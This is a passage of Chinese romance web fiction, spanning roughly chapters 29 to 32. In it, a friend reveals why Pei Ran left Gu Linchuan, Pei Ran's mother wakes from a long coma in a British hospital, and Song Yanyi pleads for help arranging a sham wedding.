庭婷不安地坐在后排,几次抬眼从后视镜中看向顾临川,欲言又止。
终于,庭婷先沉不住气了,主动问道:“顾总,你想和我谈什么?”
“裴然的焦虑症,我想向你了解一些情况。”顾临川见她先开口,便也开门见山。
“心理疾病么,就那样,没什么好说的。”庭婷含糊其辞,下意识对这种话题有些谨慎,“顾总若是真想知道,为什么不自己去问?”
顾临川很轻地点了点头,并没有刨根问底,而是换了个更具体的问题:“我懂你的顾虑,那么最后一个问题,裴然回国后发病的那天,发生了什么?”
说到那天的事情,庭婷就对顾家兄弟俩心生怨念,瞬间没好气地回:“顾总已经要和宋小姐结婚了,还关心然哥做什么?”
“裴然的状况很不稳定。”顾临川沉吟片刻,面色凝重,语气竟然少见的露出了几分恳求的意味,“我想要他健康,庭小姐也是。”
“顾临川,我凭什么相信你。”庭婷看向他的眼睛,妄图从中找出任何虚情和破绽,“七年过去了,难道你还爱他吗?”
顾临川目光坦荡,薄唇轻抿,片刻后,他郑重地回答:“爱。”
闻言,庭婷似乎很重地松了一口气,从小到大顾临川都是最靠谱的代表,庭婷知道在这件事情上,他没有任何撒谎的必要。
她选择相信顾临川,也相信那份赤诚的真心。
“然哥的焦虑症的源头,是你。”庭婷低垂着眼眸,一字一句认真地说,“我不知道是思念、遗憾、悔恨还是爱,又或许全都有。”
爱吗?顾临川感到不可置信,这个字荒唐又合理。
“你是不是觉得,然哥这人挺混蛋的,谈了这么多年的男朋友,说不要就不要了。”庭婷红了眼眶,“但其实然哥他真挺喜欢你的,也真的有不得已的理由。”
“前几年然哥特别不容易,在英国要学习要打工还要照顾徐阿姨,一天最多只睡五个小时,有时候还会整宿整宿地失眠。”
“好几次然哥偷偷看你们的合照,被我发现了,我看不下去,问他为什么不告诉你这一切,他对我摇头,说你爸爸给了他很多钱,让他离开你,他没有办法只能收下,所以在此之前,他必须离你远远的。”
“后来,阿姨的情况稳定下来,然哥工作室也能赚钱了,他才慢慢地让自己松懈下来。回国之后,其实状态挺好的,能跑能跳也爱笑……也可能只是怕我们担心,装装样子罢了。”
“上次住院,是因为他听到了你要订婚的消息,心里边难受,又闷着不讲出来……我知道你失忆是假的,你看着然哥的眼神这么多年了,还是那样,但是我又狠不下心去说,我想着,这样也好,你既然要结婚了,那就离然哥远点吧,不管爱与恨,早些让他走出来,对大家都好。”
“不好。”顾临川手背青筋暴起,忍耐着极度的痛苦,紧咬着牙,呼吸间都带着血腥味,“我不会放手。”
庭婷早料到会是这样的回答,唇角自嘲地勾起,眉眼间却是一片悲戚,“然哥上辈子真是欠你们顾家的。”
“婚约是假的,我会亲自和他解释。”顾临川指节都在发抖,根本没有办法继续开车,只好靠边停下,“至于他的病,我会陪他慢慢好起来。”
“言尽于此,顾总,再多的我也不方便说了,我信你爱他,我也信他还爱着你,如果现代医疗技术不管用的话,我愿意相信爱能治愈一切。”
庭婷推开车门,临走前留下这样一段话,随后擦了擦脸上的泪,理了理皱了的衣角,深吸一口回头露出得体的笑容道别:“不要让我失望。”
关门声很轻,此后万籁俱静,“啪嗒”一声,方向盘上砸下一滴水珠,追根溯源,竟是来自于顾临川的眼睛。
窗户没有关,呼啸的寒风顺着缝隙吹进来,发出呜咽一般的嘶吼,吹得人从发丝到指尖都是一片冰凉。
记得从前,两人至幼年时期起,便总爱黏在一起,说不清是哪一刻动的心,当反应过来时,已经深陷其中。
裴然最初有些抗拒,从竹马变成恋人这件事情,也太奇怪了,还没想明白的他,躲了顾临川几天。
顾临川放学后去必经之路上堵他,问他:“小然,你怎么又不等我?”
裴然眼神躲闪,支支吾吾回:“我有点事,忘记了。”
顾临川张开怀抱,示意他过来,裴然抿唇,面上露出纠结的神色,但比拒绝先来的是落在腰上温暖的掌心。
裴然自己都意外于身体下意识的反应,他把头埋在顾临川胸膛,恨不得将自己揉碎了和他混为一体,好消解这几日的思念。
“你是小宝宝吗?怎么还要哭鼻子?”顾临川捏了捏他通红的鼻尖,调笑道。
“我不知道为什么,明明要和你保持距离,但是我忍不住。”
他忍下了泪意,陌生的情绪让他感到恐惧,和顾临川分开的这些日子里,他如同脱水的鱼在沙滩上搁浅一般,唯有顾临川是他的生命源泉。
他想念顾临川的拥抱、体温和独一无二的偏爱。
“告诉我,为什么要躲?”顾临川轻拍他的背,轻声哄,“是我哪里惹你不高兴了吗?”
“你那天晚上,吻我。”裴然有些不好意思,小声地说,“但我们只是兄弟,不是恋人,我觉得很奇怪。”
“不奇怪。”顾临川很轻地笑了笑,又吻了吻他的唇角,感受到怀里人的僵硬,逐渐吻上他的耳垂,“恋人和兄弟没有任何区别,不是吗?只要你是小然,我都会这样抱着你,这样吻你,能接受吗?”
裴然承受着这个温情的吻,脑子乱成一团,但短暂地思考过后,便说:“能。”
顾临川把他拦腰抱起来,迎着夕阳向前奔跑:“小然是我男朋友了。”
裴然搂着他的脖颈,脸上洋溢着幸福地笑,感受微风和柑橘香吹过耳畔,身体里的躁动却没有平息。
之后两人在沙发上看电视,顾临川问他,为什么接受地这么快,不仔细再想想就跟着自己跑了。
裴然搂着他的腰,百无聊赖地戳戳,跟他解释:“因为我舍不得和你分开,哪怕只有一秒,那几天太难熬了,我甚至觉得我是不是生病了,你喜欢我粘着你吗?”
顾临川一把抓住他作乱的手,放在唇边轻轻撕咬,随后握在掌心,十指相扣,“喜欢。”
“对了。”裴然笑着抽出手,从他怀里坐起来,神秘兮兮地说,“我有个礼物要给你。”
说完,他抬手蒙在顾临川的眼睛上,对方睫毛轻颤扫在他掌心,有些痒,他忍不住出声提醒:“闭上眼睛,好痒。”
顾临川任由他作为,只是大手搂着他的腰,把人往身前带了带,“看路,别摔了。”
裴然随意地点头应下,带着他上了二楼,手指微微露出
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一点缝隙,检查顾临川有没有老实闭上,果然看见对方微亮的眼眸。
“快闭眼睛啦,我让你睁眼,你才能睁开。”裴然忍不住催促,捧着他的脸,确认闭紧了,才小跑到房间里,拉开抽屉。
抽屉里装着一份他亲手绘制的手稿,是一对戒指。
他把手稿藏在身后,走到顾临川面前,“好啦,你现在可以睁眼了。”
顾临川缓缓睁眼,面前是裴然笑盈盈的眼,不等他寻问礼物在哪,裴然最先沉不住气,哇地一声把手稿拿出来,递到他手上。
“噔噔噔噔!”裴然献宝似的给他指了指两枚戒指,“专属于我们的,喜欢吗?”
手稿上,两枚戒指以大海和海浪为元素设计,每一条线条都精准利落,藏着裴然深深的爱意。
“你看,末端与起始的浪谷轻轻相衔,整枚戒指的线条从头到尾,都是连绵的海,没有一丝断点,就像我们一样。”裴然牵起他的手,拇指和食指比作一个圈,牢牢套住他的无名指,“我们会相融相交,永远不会分开。”
顾临川顺势牵起他的手,紧紧握住,被突如其来的惊喜冲击地说不出话。
好半晌,他眼眶发红,郑重地拿起那份手稿,仿佛世间珍宝,垂眸哑声问:“什么时候准备的?”
两人除了睡觉,几乎没有分开的时间,裴然要抽时间完成这幅作品,必然要牺牲夜晚的睡眠。
裴然吐了吐舌头,“每晚跟你挂了电话之后。”
顾临川盯着他看,眼下黑眼圈确实重了不少,“今天是大熊猫然然。”
两个少年谈起恋爱格外腻歪,总觉得要吻上唇牵着手才觉得真实。
顾临川低头和他贴着额头,“我特别喜欢这份礼物,谢谢然然。”
裴然同样喜欢亲密,他主动地去吻对方的喉结,面色红润羞涩,“就这样啊,没有奖励吗?”
顾临川仰头,手指伸进他柔软的发间,“小然想要什么奖励?”
“你之前说,要去云省参加竞赛,带上我吧,好不好?”裴然眼睛湿漉漉地望着他,眨眨眼,好不可怜。
顾临川本来计划当天往返,虽然时间紧,但好在能早点回来。
此刻,顾临川捏着他的后颈,迫使他与自己对视,唇角挂着恃宠而骄的坏笑:“这么舍不得我啊?只是一天而已。”
“什么叫一天而已!”裴然瞪着大眼睛,愤愤地咬上他的锁骨,“刚刚还说要和我永远不分开,现在就想离开我是不是!”
顾临川逗了两下,赶紧把人抱起来哄,“好好好,我把小然带着一起去,你在酒店里面乖乖等我,比赛完我们多待两天,顺便带你去玩玩。”
“嗯。”裴然见状满意地点点头,在他怀里寻了个舒服的位置,闭上眼睛补觉,小声嘟囔,“我连画室的假都请好了,你必须带我走。”
顾临川没听清楚,想让他再讲一次时,裴然已经睡着了。
他温柔地把人抱紧,把人放在床上,拢了拢被子,陪他一起睡下,两位少年在期待着有彼此在的未来中沉入梦乡。
只是此后,没有人能预料到,分明是连外省的距离都不接受的裴然,被迫去往他国,与爱人隔着几千公里的距离。
也没有有人能预料到,这对约定好永远不分开的爱人,会因为误会与现实,陷入长达七年以上的分离。
一场年少时期做的美梦,终究是一场空,宛如脆弱虚幻的泡沫,一触即破。
30.第 30 章
飞机落地英国,裴然似乎有些恍惚,周围建筑和人群不似国内,显出几分陌生感。
阴沉沉的天空和淅淅沥沥的小雨将他拉回现实,当地人早就习惯了阴晴不定的天气,因此街上没什么人打伞。
裴然在机场门口望了望,很快便看见Leo的身影。
“然!”Leo也透过人群看见他,朝他挥手示意。
裴然走近,Leo就顺手接过行李,放进后备箱,紧紧将他拥入怀里,好一会儿才放开。
裴然被抱着,神情呆愣,动作有些迟缓,但也回抱住他。
拥抱缓解了很大一部分对于未知的恐惧和茫然,裴然的情绪缓和了不少,但仍旧是有些发愣。
Leo先一步替他拉开车门,坐上副驾后,身边的Leo在他眼前挥手,“然?你怎么了?”
“抱歉。”裴然回过神,揉了揉眉心,问他,“你刚刚说什么?”
“我说恭喜你,你的母亲醒过来了。”Leo显得很高兴,若不是抓着方向盘,了能已经手舞足蹈起来,“然,我先送你去医院吧,你一定很想念她。”
裴然点点头,撑着脑袋看着窗外,一切景物都在飞驰着往后倒退,窗户没有关,冷风裹挟着雨丝打在脸上,令他清醒不少。
“然,窗户关小一点,会感冒的。”Leo出声提醒,换做平时他都直接关上了,但现在他更想让裴然自己意识到。
“Leo。”裴然轻声喊他。
“怎么了?”Leo没忍住,还是悄悄把窗户升上去一点,虽然声音很大也很明显,但他仍旧一副偷偷摸摸的表情。
“关于我妈妈醒过来的事情,你保密好吗?尤其是顾辰他们。”裴然手指向上勾,窗户彻底关上,他的声音在封闭的车厢里显得很清晰。
“没问题。”Leo抬头看他,但只能看见低着的脑袋,他试探性地开口,“是吵架了吗?”
裴然侧身揉了揉他脑袋,“大人的事情,小孩子不要多问。”
Leo瞬间不满意了,想躲开,“然!我们也就差两岁而已!”
裴然被他逗笑,趁机又撸了撸,小卷毛手感还不错。
很快便到了医院,Leo本想跟着一起去,但裴然表示自己忙得过来,便让Leo带着自己的行李先回家。
史密斯医生是他母亲的主治医生,接到他的消息便顺路出来接他,白大褂配上金丝眼镜,让斯密斯看起来医术非常高超。
“病人情况稳定了很多,但是现在还在休息,先去办公室坐着吧。”史密斯医生拿着本子记录着数据,抽空抬头安抚裴然急切的心情,“我安排了护士,等她醒了会第一时间通知你。”
裴然这才把放在门把手上的手收回,亦步亦趋地跟着史密斯身后,想问问题,又怕打扰到他。
待史密斯医生检查完剩下的病房,两人回到办公室,一同进来的还有徐女士的护工。
护工是一位温柔的华人女性,浅褐色的短发,微胖的身材,看起来很靠谱,是裴然亲自面试的。
裴然从前找的护工在今年年初回国了,裴然又临时去找,一直没有找到合适的,后来遇见了现在的护工,磨合几次后才将其留下。
护工见到裴然时温柔一笑,伸手:“裴先生,好久不见。”
裴然上前,回握住她的手,“这些日子,辛苦了你。”
护工笑了笑说:“不辛苦,裴先生给的工资是我最大的动力。”
史密斯医生静静等他们寒暄完,随后将他妈妈的病历数据调出来,尽职尽责地和他说明了当前的情况,并且把注意事项一一告知。
“裴先生,苏醒过后还有很长的复建治疗,患者在床上躺了多年,身体机能已经退化,还希望您能多费心思。”
裴然一一应下,眼睛死死盯着屏幕上的每一项数据,万幸都在可控范围之内。
史密斯医生又嘱咐几句后,便被护士叫走,抱歉地笑了笑,同两人告别,并说他们可以在办公室稍作休息,随后再去探望。
裴然感激一笑,“多谢,您去忙吧。”
史密斯医生的办公室很简单,只有一张办公桌和一个会客用的小沙发,裴然呆愣愣地坐在沙发上,在脑海里幻想待会儿和母亲见面的场景,甚至还打了腹稿,要将这些年的全部思念统统告诉母亲。
护工只是简单地坐在他身旁,很安静,没有打扰他。
不多时,门口传来敲门声,“裴先生,28号病床的病人已经醒过来了,史密斯医生让我来通知您前往探视。”
裴然应声站起来,理了理衣服,又露出一个微笑,问护工:“我这样好看吗?”
护工被他逗笑,“当然,先生,您今天简直完美。”
两人并肩从办公室内走出来,裴然像一只欢喜的小雀,“妈妈看见我一定会很高兴。”
“我也这样想,徐女士这几日醒着的时间越来越长了,今天她定是知道你来了,比平时醒得都早。”护工跟在他身后,眼底含笑,“你进去吧,桌子上的水果是新鲜的,鲜花我也按照您的要求每日更换。”
裴然喉头发紧,近乡情更怯,现实中亲眼看见和视频里感觉完全不一样。
他推开门,徐梦援女士听到声音也望过来,来查房的护士告诉他,裴然今天会来,但她不清楚是哪一刻,于是今天她不敢多睡,生怕错过。
万幸她没有等太久,看见裴然的那一刻,眼神瞬间柔和起来,唤他的声音带着几分病弱:“然然。”
裴然鼻头一酸,眼泪便不要钱似的往下坠,他伸手想去擦,但越擦越多,根本止不住。
“妈妈……”
他快步上前,想去前母亲的手,但是手上还输着液,他不敢轻举妄动,还是徐梦援看出他的小心翼翼,主动牵着他的手,“明明只是睡了一觉的时间,怎么然然都长成大人了?”
说完,她眼角也滑落一滴泪,对孩子的成长感到难过又幸福。
裴然慌慌张张地替她擦泪,哽咽着说:“妈妈,你睡了好久好久。”
“然然为了治妈妈,是不是很辛苦?”徐梦援轻叹一声,想撑着坐起来,但使不上劲只好放弃,“我躺着的时候,有听到然然在和我讲话,但是总听不清楚,现在终于可以听到了。”
“不辛苦……不辛苦……”裴然蹲在病床边,一个劲地哭,一边重复着。
方才打好的腹稿此刻全部打碎重组,胡言乱语地说了几句后,竟然连一句完整的话也说不出来。
裴然眼泪打湿了床单,吸了吸鼻子刚想收住,下一秒,头上落下一个温热的手掌,裴然又一次崩溃大哭。
“妈妈我真的很想你……我、我过得挺好的,现在妈妈醒过来了,我很高兴,真的很高兴。”
裴然语无伦次地说着,从刚到英国时的学习生活到创建工作室之后的工作,裴然尽可能地调了一些有趣的事情讲,好证明他这几年真的过得还不错。
徐梦援就这样安静地听着,时不时回应几句。<
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“妈妈你看,这是我大学时候认识的好朋友,叫Leo,他是英国人,明天我带他一起来看看你,好不好?”裴然拿着手机给他翻看这些年的照片。
照片里,裴然和Leo互相揽着肩,对着镜头大笑,很有少年感。
徐梦援盯着照片看,“他和我们然然一样,都像小天使,真好。”
窗外天色渐渐阴沉下来,裴然见母亲脸上露出些疲惫的神色,便替她掖了掖被子,“妈妈,你累了吗?”
“不累,我还想听然然讲这些年的事情。”徐梦援摇头,舍不得闭上眼睛,“妈妈错过了太多东西了。”
裴然抿唇,好不容易压下去的泪意又翻涌上来,他上前调整好病床的高度,“妈妈你睡吧,我守着你,等睡醒以后,我再给你讲。”
终究是疲惫感占了上风,徐梦援很快便睡着了,裴然调好屋内的温度和白噪音,轻手轻脚地在病床旁边坐下。
由于母亲醒过来,裴然便不打算回国拜访裴家的亲戚,只好在手机上给诸位长辈打去电话,道了新年快乐。
裴然已经很久没有休息,在飞机上也是神经紧绷,此刻他终于放松下来,他找了一条毛毯,就这样趴在床边睡下了。
国内,顾临川仍在陪宋妍宜出席宴会,好让两人未婚夫妻的关系更深刻,以安抚宋家的诸位长辈。
只可惜,经过上次一事,大家都从中品味出几分不对劲来,大家心里的疑虑被无限放大。
顾临川若是真心喜欢宋妍宜抑或是真心想要与宋氏集团联姻,为什么会对婚事这么抗拒,甚至算得上冷漠。
于是,宋家诸位蠢蠢欲动,在宋致远的巨大利益诱惑下,又纷纷倒戈,一时间,宋妍宜陷入孤立无援的境地。
夜里,宋妍宜站在露台处吹风,连日来的应酬让她面露疲惫,她手指捏的很紧,似乎在纠结和犹豫,最终她还是拨通了那则电话。
“喂,临川,还在忙吗?”宋妍宜问。
顾临川那边还有人在汇报工作,顾临川接了电话,便挥手让下属先出去,自己则是起身走到落地窗前,“有事?”
“临川,我家的情况你现在也看到了。”宋妍宜说,“现在不管是谁,都在等着看我的笑话,爷爷身体也越来越不好了。”
顾临川沉默片刻,“钱和资源,我都可以给,那件事情不行。”
“可是我只有这一条路了,我知道这样很自私,很无理取闹,但……算我求求你好吗?”宋妍宜情绪有些崩溃。
“抱歉,我做不到。”顾临川语气冷静到有些不近人情。
宋妍宜着急地说:“只需要假意和我办一场婚礼就好,不用领证,我保证会在婚礼之后解决好一切,并澄清我们的关系,不会耽误到你。”
“妍宜。”顾临川没带情绪,只是平静地阐述,“婚礼对我而言不是儿戏,何况,我不想让他看见我和别人穿着婚服站在一起。”
顾临川并没有怪罪的意思,他只是想表明自己的意愿。
婚礼是他青春年少时期曾无数次幻想的神圣的场景,无论是牵手、宣誓还是交换对戒,他都只会与裴然进行,这是爱的证明,不是利益的工具。
闻言,宋妍宜却像被人扇了一巴掌一样,脸上火辣辣地疼,她捏着电话说:“我明白了,很抱歉这么晚打扰你,再见。”
说完赶紧挂断了电话,望着远处零星几点灯火,肩膀很轻地抖动着,天空中骤然炸开烟花,倒映在她蓄满泪的眼睛里。
31.第 31 章
“先生,这是您预定的花束。”花店的店员捧着一束粉色风信子走出来,递给面前的男人。
“谢谢。”裴然伸手接过,将花束捧在手中,往街道边走去,上了车。
Leo侧头看着花,感叹一句:“真漂亮,然,你的眼光真好。”
裴然笑了笑,把花束放在后座,系上安全带,“去医院吧。”
“没问题。”Leo语气期待,前面路段有些堵车,见状又有些懊恼,“抱歉然,我不应该走这条路的,恐怕会耽误一会儿。”
“没关系的。”裴然朝前面看了看,交警已经在疏通,车子行进虽然缓慢但并未停止,“这又不是你能控制的,妈妈那边还有护工,我们不着急。”
两人比预想中要晚了半小时才到医院,一下车便往里面狂奔,leo跑在最前面,还不忘转过头来拉裴然。
裴然来之前给护工发过消息,因此徐梦援女士知道他们会迟到,睡醒之后便坐起来安静地等着。
裴然气喘吁吁地敲了敲门,护工放下手中的工作给他们开了门,转头笑盈盈地说:“徐女士,小然来看你了。”
徐梦援循声望过来。
“妈妈,身子有好些吗?”裴然俯身将鲜花放在床头的花瓶里面,轻声细语地询问,又牵起她打着点滴的手,确认不冰之后又塞回被窝里。
“还不错。”徐梦援回答,“怎么跑得满头大汗的,妈妈不着急。”
“是我想快点见到你。”裴然抬手随意地擦了擦额角的薄汗,拉着Leo往病床前走,跟徐梦援介绍,“妈妈,这就是我之前跟你讲的好朋友,叫Leo。”
Leo乖巧地站在身侧喊人:“阿姨好。”
Leo今天穿得少年感十足,破天荒的将许久不带的黑框眼镜带上,看起来很讨长辈的欢喜。
“你好呀,leo。”徐梦援温温柔柔地笑,“你的中文说得真好,前些日子然然说要带你来看我,我还担心会听不懂你讲话。”
“我的中文是然哥教的,日常交流完全没问题。”leo神采奕奕,面上隐隐有些小骄傲。
“难怪呢,你的发音方式和然然很像。”徐梦援笑了笑,看向自家小孩,“我还没听过然然讲外语呢。”
“妈妈,外语有什么好听的。”裴然无奈地看着她,但最终还是满足了妈妈的好奇心,用英文说起刚刚在医院大厅看见的文字,“START LIVING AGAIN(重获新生)”
“阿姨,然哥念英文的方式,和我像吗?”leo有些好奇,眼神期待。
“像的。”徐梦援弯了弯眼,“你们都很可爱。”
裴然轻笑了一声,耸肩表示:“妈妈总是对我和我的朋友有滤镜。”
“不是吧。”Leo却不认为是滤镜,“然哥你明明就很可爱。”
眼瞧着徐梦援和Leo眼神交汇,达成共识,打算将这个话题进行延展了,裴然赶紧轻咳一声,在一旁提醒,转移话题:“妈妈,今天的这束花是Leo给你买的哦。”
“是吗?”徐梦援微微侧头,阳光透过窗户刚好洒在风信子上,为她虚弱的病容增添几分生气,“真漂亮,谢谢Leo。”
“不客气阿姨。”leo说,“风信子和你一样漂亮,希望你会喜欢。”
“我非常喜欢。”徐梦援视线从花上移开,见两人直愣愣地站在病床前,出声招呼,“坐下歇会儿吧,桌子上还有水果,你们拿着吃。”
裴然与Leo并肩坐下,怕她会无聊,便选了一份报纸给她读。
徐梦援这几日苏醒时间增多了,但精力仍旧不算丰富,此刻裴然低低地念着,徐梦援和leo就静静地听。
一份报纸念完,裴然见妈妈还醒着,便拿出手机,打算上网找一些新闻,但刚打开手机,便弹出几条陌生的未接来电。
如果是骚扰电话没必要打这么多,裴然怕对方真有事情,便让Leo替自己给妈妈念故事,自己则是起身走去外面。
Leo点点头,“看我的吧。”
裴然在长廊尽头回拨过去,接电话的过程却不像打电话时候那样着急,很久之后对面才接。
“喂,您好。”裴然先出声询问。
“……”对面迟迟没有应答。
“您好?”裴然疑惑地拿开电话看了看,没有挂断,“请问有事吗?”
“小然,能见一面吗?”对面的声音很轻很疲惫,“我有话想对你说。”
裴然听出对面是谁,但是微微一愣,“很着急吗?可是我在国外,可能还要些时间才能回国。”
“我已经定好机票了,只要你肯见我。”
裴然刚想说会的,顿了顿问:“你一个人来吗?”
对面似乎没料到他会这样问,有些没反应过来,“是的,只有我。”
裴然松了一口气,“你下飞机之后给我打电话吧,我会抽空过来。”
两人挂断了电话,裴然返回病房,徐梦援又睡下了,Leo在门口站着等,见他打完电话走过了来,往前几步与他并肩。
裴然往病房内瞧了瞧问:“你怎么出来了?”
Leo压低了声音:“阿姨睡着啦,我怕打扰到她。”
裴然轻拍他的肩膀:“辛苦了你了。”
leo摇了摇头,有些不满裴然对他这么客气,“和我之间,不要讲这些。”
两人往外面走去,leo在一旁和他随口闲聊,裴然却有些听不进去,脑海里全是方才那通电话。
隔天下午,裴然将母亲哄睡之后,从病房里出来,很快便接到了来电。
他思考了片刻,算了算医院检查的时间,和对方约了傍晚时在医院附近的咖啡馆见面。
裴然提前了十分钟到达,但对方到的更早,似乎是刚下飞机就到了这里,身旁还带着一个小的行李箱。
“妍宜,好久不见。”裴然推开门,在她对面落座,寒暄之际抬眼却看见她通红的眼眶,顿时有些无措,“这是怎么了?发生什么事情吗?
宋妍宜摇头,欲言又止,只是眼含悲戚地望着他,似乎有满腔的话要讲,却哽在喉间,说不出口。
裴然并不催促,耐心地等待着。
直到宋妍宜深吸一口气,努力控制住欲坠的眼泪,低着头盯着咖啡杯缓缓开口。
她讲述了新年期间家里发生的一切事情,包括爷爷的病危,宋致远的野心,以及诸位亲戚的蠢蠢欲动。
裴然大为震惊,宋家内部竟然乱成这样,安慰的话在唇边饶了绕,但终归是别人的家事,他并不方便开口,只是默默给她递去纸巾。
宋妍宜拿着纸巾擦掉了脸上的
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眼泪,手指狠狠地掐着掌心,再次抬眼的一瞬间像是下定了某种决心,她说:“小然,我能不能求你一件事情。”
裴然点头:“你说,如果我能办到的话。”
宋妍宜看着裴然真诚的眼睛,顿时又失去了勇气,她声音颤抖着:“你、你可不可以去劝一下顾临川……让他和我办婚礼……除了顾家,我实在想不到还有谁可以稳固我的地位了。”
说完,宋妍宜不敢再看裴然,死死咬着下唇,羞愧难当。
裴然听到顾临川三个字,总觉得有些恍惚,似乎很久没有见面了,空气逐渐变得稀薄,他努力理解这些文字:“我去求?”
宋妍宜沉浸在羞愤之中,并没有听清楚他的话,自顾自地开始道歉:“对不起,我知道不应该把你牵扯进来,但是现在只有你能帮我了。”
裴然听的一头雾水,试图为自己解释:“不是我不想帮你,只是我也无能为力,他这么讨厌我,怕是只会适得其反。”
“讨厌你?”宋妍宜像是听到了天大的笑话,转瞬又意识到这是对方委婉的拒绝,失望地轻叹一声,“你要拒绝也选一个好点的理由,这样我会觉得自己很没用的。”
“不,不是的。”裴然试图跟她说清楚,“我没有找理由,他真的很讨厌我,连我靠近他一点,他都会皱眉躲开。”
“怎么可能?”宋妍宜下意识地反驳,“他会拒绝我的提议,不都是因为你吗?”
说完,她意识到自己这句话有歧义,赶忙解释:“我不是那个意思,我只是有点着急,抱歉。”
裴然脑子乱成一团浆糊,此刻没空关注这些细枝末节的东西,他抓住关键词追问:“这句话是什么意思?什么叫因为我?”
“你不知道他对你的心思?”宋妍宜看着他的眼睛,似乎在确认他是否在撒谎,“当年你出国,他在国内等你这么多年,你怎么可能不明白?”
“是,他等我,但是他不是失忆了吗?”裴然语无伦次,“他说,他忘记了我,而且看到我的第一眼就觉得很讨厌,怎么可能会……会喜欢我呢?”
“是的,他失忆了。”宋妍宜这才反应过来自己说错了话,急忙想要弥补,“对不起我忙糊涂了,是我说胡话了。”
“什么意思?他恢复记忆了吗?”裴然不敢去想到底是什么,怕希望会一次次落空,但他直觉其中一定有他想要知道的真相,于是他着急的祈求,“拜托你,告诉我吧。”
“我、我不能说了。”宋妍宜心神不宁地起身,便要离开,“请你忘记这些话吧。”
裴然拦住她,迫切地想知道一个答案。
“对不起,我不能告诉你。”宋妍宜偏头不敢和他对视,“有些事情,你要是想知道,就亲自去问他吧。”
话音刚落,她便拿起自己的包,脚步匆忙地离开。
独留下裴然一人在原地,看着她离开的背影,暗自神伤。
最有可能的原因他不敢去想,怕只是自作多情一场,真相到底是怎样的?
慌乱间,他端起桌上的咖啡往唇边送,热可可温度不算太低,入口的瞬间烫的他眼尾发红。
“嘶。”裴然吐着舌头扇风。
窗外夕阳正浓,整座城市陷进黄昏的浪漫时刻,裴然独自一人在这里,看着太阳西落,天色渐黑,才缓缓起身离去。
32.第 32 章
裴然在街上漫无目的地闲逛了许久,才魂不守舍地回了病房,在外面整理了一番情绪后才推门进去。
徐梦援还没有睡,坐起来在护工的帮助下吃着香蕉泥。吃下最后一口,便挥手示意吃不下了,护工点点头,收拾好东西默默退出去。
看见裴然立在病床前,她挥挥手,轻声把他招到跟前。
她嗫嚅着嘴,犹豫片刻后还是问道:“然然,临川最近很忙吗?这么久了,他都没来看看我。”
在徐梦援心里,顾临川和裴然都是她的孩子,是她从小看着长大的,因此从沉睡中苏醒后,她身边围绕着的除了陌生的医生护士,便只有裴然,她总觉得心里空落落的,少了点什么。
裴然被问得一噎,一时间没想好说辞,抿着唇,顿了顿才说:“妈妈,他最近确实没空闲,我跟他说说,让他赶紧过来看你。”
演技太过拙劣,语气和表情没有一处不心虚。
“然然,你们……闹矛盾了?”徐梦援一眼识破,但想了很久,也只能想到这一种可能性。
毕竟她作为母亲都看在眼里,裴然和顾临川两人都很执著,两人又实在黏糊,少年时期是那样的海誓山盟,实在很难相信两人会分开。
“嗯。”裴然低着头。
“跟妈妈说说,好吗?”徐梦援问。
“是我做了很多不好的事情,惹他不高兴了。”裴然想起过往种种,红了眼眶,“不过妈妈,他没来是因为他还不知道你醒过来了,等我告诉他之后,他一定会过来看你的。”
“那然然给他道歉了吗?”徐梦援伸手,轻轻牵起他的手,“我记得临川在你面前,是很好哄的呀。”
“妈妈,我不敢。”裴然把头低在病床边,小心翼翼地靠近妈妈的身体,藏起眼角滑落的泪。
“然然是勇敢的孩子,对吗?”徐梦援揉了揉他的脑袋。
裴然很小幅度地摇了摇头,在心底否认,他根本就一点也不勇敢,他怯弱、胆小又软弱。
“两个相爱的人要及时沟通,不然误会越来越深,两颗心也会越走越远的。”徐梦援见他没说话,放缓了声音,一下又一下地抚摸裴然的头,“我们谁也不知道明天和死亡谁先到来,所以更要珍惜和眼前人在一起的每一刻,不是吗?”
“就像我和你爸爸,曾经我们以为未来还有很长,可是现在,我再也见不到他了。”
这还是苏醒之后,徐梦援第一次提起裴晋南,强烈的思念让她有些哽咽。
裴然担心她的身体,便不想让她继续说下去。
“妈妈……”裴然抬头,替她擦去了眼泪,“不要哭。”
徐梦援知道自己的身体经受不住剧烈的情绪起伏,短暂的悲痛之后她缓和了情绪,“妈妈不哭,我能再次醒来,看见然然,已经很知足了。”
母子两人就这样依偎在一起,两人都用在自己的方式安慰着对方。
过了许久,徐梦援几乎以为裴然趴在自己的身边睡着了的时候,听到他轻声的呼喊。
“妈妈。”裴然问,“你怎么确定,我还喜欢他,他也还喜欢着我呢?”
“傻孩子。”徐梦援视线向他望去,但只能看见通红的鼻尖,“妈妈知道,你们从来不是小孩子在过家家,很多年前,你们就是在认真地谈恋爱,爱一个人的眼神,是藏不住的。”
“今天Leo跟我讲,他去中国找你玩的时候,有一天夜里是一位姓顾的男人把你抱回来的,临川要是真的和你生气,又怎么会这样关心你,你若是不爱他了,又怎么会在我面前哭鼻子。”
说完,她捏着裴然的鼻尖,轻轻晃了晃,无声地哄他。
裴然配合的凑上去,又把脸埋在妈妈的掌心蹭了蹭,没有像年少时那样争辩自己没有哭,而是撒娇道:“妈妈笑话我。”
徐梦援很轻地笑起来,没有说话,阖眼准备休息,手上抚摸着裴然的发顶。
等母亲睡下,裴然才把身子从病床前移开,动了动酸涩的脖颈,退出去。
夜空里星辰无限,静谧耀眼,裴然辗转无眠,他只好起身,披了件外套站在阳台处沉思,思绪纷然,他想了很多。
从年少时期的甜蜜到分别的痛苦,再到如今的陌生,漫长的十几年中无数画面在脑海里重现。
裴然一刻没睡,但思绪却万分清醒,脑海里只剩下一个念头。
他想见顾临川,想拥抱,也想接吻。
想到这里,裴然脊背连带着舌尖都跟着酥麻了一瞬,他呼出一口气,重重揉了揉脸,把那些想法赶跑。
如果傍晚宋妍宜说的是真的,说明顾临川这些年对他并非没有感情,但此前种种又是为什么,他暂时不明白,索性不再想。
最重要的是,他看清了自己的内心,也看清了自己对顾临川的感情。
等安排好妈妈的相关事宜,他就回国,找顾临川当面聊聊。
不管结局如何,他至少要把当年的事情坦白,道歉,就像妈妈说的那样,珍惜当下,不留遗憾。
况且,他也很想弄明白,顾临川对他的态度到底是怎样的。
想清楚这一切之后,裴然只觉得安宁,曾经一直在犹豫纠结的事情,终于落下决心。
天空又下起小雨,便从阳台退了下来,回到病房时,徐梦援还没醒。
裴然便像往常一样,趴在病床边闭上眼睛,沉沉地睡了过去。
医生例行查房的声音不大,但裴然还是醒过来了,史密斯医生见状对他微微颔首,检查完后转身出病房。
